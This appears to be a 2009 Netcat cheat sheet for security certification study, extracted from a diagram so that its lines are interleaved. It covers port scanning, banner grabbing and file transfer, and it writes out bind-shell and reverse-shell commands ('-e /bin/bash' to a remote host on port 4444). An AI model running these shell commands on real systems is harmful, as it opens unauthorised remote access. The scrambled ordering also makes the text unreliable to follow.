Not as good as nmap Netcat can also be used as a
simple port scanner
Handy if nothing else is available
Checks for open TCP ports on
[Link]
Checks ports 1 to 100 nc -z [Link] 1-100 Port Scanning
-z does not connect just reports back if it can connect
Netcat will report back with what ports are open
Motivation and Study Techniques to help Cisco
Netcat can be used to spawn a you learn, remember, and pass your
CISSP
shell on a remote machine technical exams!
CEH
Can Bind a shell or do a Reverse Bind
More coming soon...
Prompt is pushed [Link]
Windows
Visit us [Link]
Most common shell to use Shells
/bin/bash
Linux shell does not push a prompt Linux
Server offers the shell to the client
A tool that can read and write to TCP Ports
Requires the server to be directly reachable
Binds the shell to a port and awaits a connection Runs as a client or server
Can upload and download files
Listens on port TCP/4444
nc -lvp 4444 -e [Link] Server Hackers Swiss Army Knife
Runs [Link] when connected Can spawn a command shell
Bind Shell Multi platform
This is a Windows Host
Connects to the server Remote Administration Executes shell commands after connection
-c shell commands
Connects to port TCP/4444
nc -v [Link] 4444 Client
On [Link] Program to execute after connection
-e filename
Shell is redirected on connection Used to bind Shells
Client pushes the shell to the server -b Allow broadcasts
Good when NAT is used
Server just listens -g gateway source-routing hop points
Server Displays the help file
nc -lvp 4444 -h
Listens on port TCP/444 Reverse Shell
-i secs Delay interval for the lines sent or ports scanned
Client pushes its shell
Client Keeps inbound sockets open for multiple
Connects to [Link] on TCP/4444 nc -v [Link] 4444 -e /bin/bash connects
-k
When connection is made the shell is pushed
Listen mode
Netcat can also transfer both
NetCat -l
Accepts inbound connections
binary and text files Suppress name/port resolutions
You do this similar to a chat session but -n Have to use IP if you use this
redirect the input and output Will not use DNS resolution
This works with any filetype nc options -o Hex dump of traffic
Set the receiver to receive a file and output it
Server - Receiver -p port Specify the local port for remote connections
Listens on port TCP/4444 nc -lvp 4444 > [Link]
Transferring Files
Redirects output to a file called [Link] Randomizes the remote ports
-r
When the server is ready you can send any file
-s addr Sets the local source address
It will be received as [Link] on the receiver
Client - Sender
nc -v [Link] 4444 < [Link] -T tos set Type of Service
Sends [Link] to the receiver
-t Answer Telnet negotiation
You can use Netcat to listen on a port and UDP mode
accept incoming connections -u
This can provide a brief chat session Verbose
-v
vv is very verbose
Listens on port TCP/4444 nc -lvp 4444
Timeout for connections
V is for verbose Server Listening on a TCP/UDP -w secs
Port - Chat Session Zero=I/O mode
-z
Connects to [Link] on port TCP/4444 nc -v [Link] 4444 Used for scanning
You can now type messages Client
Acts similar to a telnet client
Connects to port 21 on [Link] nc -v [Link] 21 Banner Grabbing
Displays the banner
[Link] - 24/12/2009 - Andrew Mason